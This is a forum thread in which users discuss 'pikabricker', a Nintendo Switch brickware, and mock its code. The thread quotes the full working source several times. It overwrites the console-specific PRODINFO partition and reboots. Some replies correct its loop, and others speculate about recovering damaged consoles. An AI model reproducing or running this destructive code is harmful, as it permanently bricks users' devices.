Homebrew COMPLETED How pikabricker works

[midstor]

Not much of a write up if you ask me. Went in expecting multiple paragraphs of technical information about how the bricker works, came out with a few sentences that barely went into detail about anything. Nice try OP, you gave it your best.

Any information I wrote in there was directly from OG, I just put it into sentences. (OG made the brickware)

 

[SimonMKWii]

Any information I wrote in there was directly from OG, I just put it into sentences. (OG made the brickware)

He also sent me its source code:

#include "bpc.h"
#include <stdlib.h>
#include <switch.h>
int main(int argc, char **argv){
   FsStorage store;
   fsOpenBisStorage(&store, 27);
   bpcInitialize();
   char * buf = malloc(0x5000);
    for ( int i = 0; i< 1000; i=i+5 ) {
        buf[i] = '8';
        buf[i+1] = '0';
        buf[i+2] = '0';
        buf[i+3] = '8';
        buf[i+4] = '5'; }
fsStorageWrite(&store, 0, buf, 0x5000);
    fsStorageClose(&store);
    free(buf);
    bpcRebootSystem();
}

It's utterly horrendously written code.

 

[midstor]

He also sent me its source code:

#include "bpc.h"
#include <stdlib.h>
#include <switch.h>
int main(int argc, char **argv){
   FsStorage store;
   fsOpenBisStorage(&store, 27);
   bpcInitialize();
   char * buf = malloc(0x5000);
    for ( int i = 0; i< 1000; i=i+5 ) {
        buf[i] = '8';
        buf[i+1] = '0';
        buf[i+2] = '0';
        buf[i+3] = '8';
        buf[i+4] = '5'; }
fsStorageWrite(&store, 0, buf, 0x5000);
    fsStorageClose(&store);
    free(buf);
    bpcRebootSystem();
}

It's utterly horrendously written code.

*pukes* a 5yr old can write better code than that.

 

[SimonMKWii]

*pukes* a 5yr old can write better code than that.

It's quite hypocritical to say that, since you can't, and you're a lot older than 5.

 

[Crusatyr]

It's quite hypocritical to say that, since you can't, and you're a lot older than 5.

We all know midstor is just pretending to be cool and trying to stay relevant.

 

[midstor]

We all know midstor is just pretending to be cool and trying to stay relevant.

Was I ever relevant?

 

[Deleted member 397813]

good job.

 

[KHEOPS]

No matter how good the code is, since its purpose is not to make a clean and optimized code, what would be the point? Aside from flattering his degenerated human ego

No matter what I have my nand saved

 

[shchmue]

He also sent me its source code:

#include "bpc.h"
#include <stdlib.h>
#include <switch.h>
int main(int argc, char **argv){
   FsStorage store;
   fsOpenBisStorage(&store, 27);
   bpcInitialize();
   char * buf = malloc(0x5000);
    for ( int i = 0; i< 1000; i=i+5 ) {
        buf[i] = '8';
        buf[i+1] = '0';
        buf[i+2] = '0';
        buf[i+3] = '8';
        buf[i+4] = '5'; }
fsStorageWrite(&store, 0, buf, 0x5000);
    fsStorageClose(&store);
    free(buf);
    bpcRebootSystem();
}

It's utterly horrendously written code.

so only the first 5000 bytes get overwritten with '80085' but the next 0x5000 minus 5000 bytes still get overwritten by whatever else was in that buffer at the time of the malloc

 

[mattytrog]

so only the first 5000 bytes get overwritten with 0x0800000805 but the next 0x5000 minus 5000 bytes still get overwritten by whatever else was in that buffer at the time of the malloc

Yep. Zeros.

 

[Crusatyr]

Yep. Zeros.

Not zeros, literal garbage data. Here's an unencrypted ProdInfo that got fucked up. You can see in the following picture that "80085" stops at offset 0x3E7, and the rest of the data is nonsense compared to the legit prodinfo on the right.

Edit: You might be thinking of calloc which fills the buffer with zeros.

 

[shchmue]

whoops yeah, only the first 1000 bytes which is why it stops at 0x3E7. if it was calloc instead of malloc, the rest would be zeroes. and i'm sure they meant to do either

for ( int i = 0; i< 0x5000; i+=5 )
    sprintf(&buf[i], "80085");

or

for ( int i = 0; i< 0x1000; i++ )
    sprintf(&buf[i*5], "80085");

 

[Crusatyr]

I mean, it's a proof of concept code, it ain't meant to be pretty. lol

 

[Cubuss]

"Write Up"

It fits on a post it note,

 

[Deleted member 373223]

"Try making a new nand with some helpful tools." PRODINFO is console specific however?

 

[Crusatyr]

Yep, ProdInfo is console specific.

 

[Deleted member 373223]

Yep, ProdInfo is console specific.

I also doubt they are interchangeable, unlike their 3ds counterpart (LocalFriendCodeSeed)?

 

[Crusatyr]

I also doubt they are interchangeable, unlike their 3ds counterpart (LocalFriendCodeSeed)?

I've heard it was possible to flash an edev nand to a consumer switch and have it work as long as you hardcode the keys you need. I have zero idea how to go about this because if you have a doner console's biskeys, you ought to be able to do the same with their nand right? I'm not smart enough to figure this out and I'm gonna be busy most of today, but I plan on harassing someone smarter than me about it tomorrow.

 

[Deleted member 373223]

I've heard it was possible to flash an edev nand to a consumer switch and have it work as long as you hardcode the keys you need. I have zero idea how to go about this because if you have a doner console's biskeys, you ought to be able to do the same with their nand right? I'm not smart enough to figure this out and I'm gonna be busy most of today, but I plan on harassing someone smarter than me about it tomorrow.

If that's possible please tell me. I may be able to fix the switch i had broken back when exactly this was released, but under a different name (SX OS Crack), and i would be grateful for that. I would finally be able to fix the switch that i had foolishly broken when i was dumb.

 

[mattytrog]

Not zeros, literal garbage data. Here's an unencrypted ProdInfo that got fucked up. You can see in the following picture that "80085" stops at offset 0x3E7, and the rest of the data is nonsense compared to the legit prodinfo on the right.

Edit: You might be thinking of calloc which fills the buffer with zeros.

View attachment 149705

Yes. After the garbage data. Mostly zero'd where the certs should be.

I think that the first thing checked in the prodinfo is the sha256.

This will probably won't work, but what would happen if we put serials back (start from a legit prodinfo, copy/paste over the serials our "target" serials), forget the certs, recalculated the sha256, implanted it all into a pikabricked prodinfo.

Which is uncorrupted after offset 8000.

You wouldn't have any calibration data or certs but may allow it to boot a little further?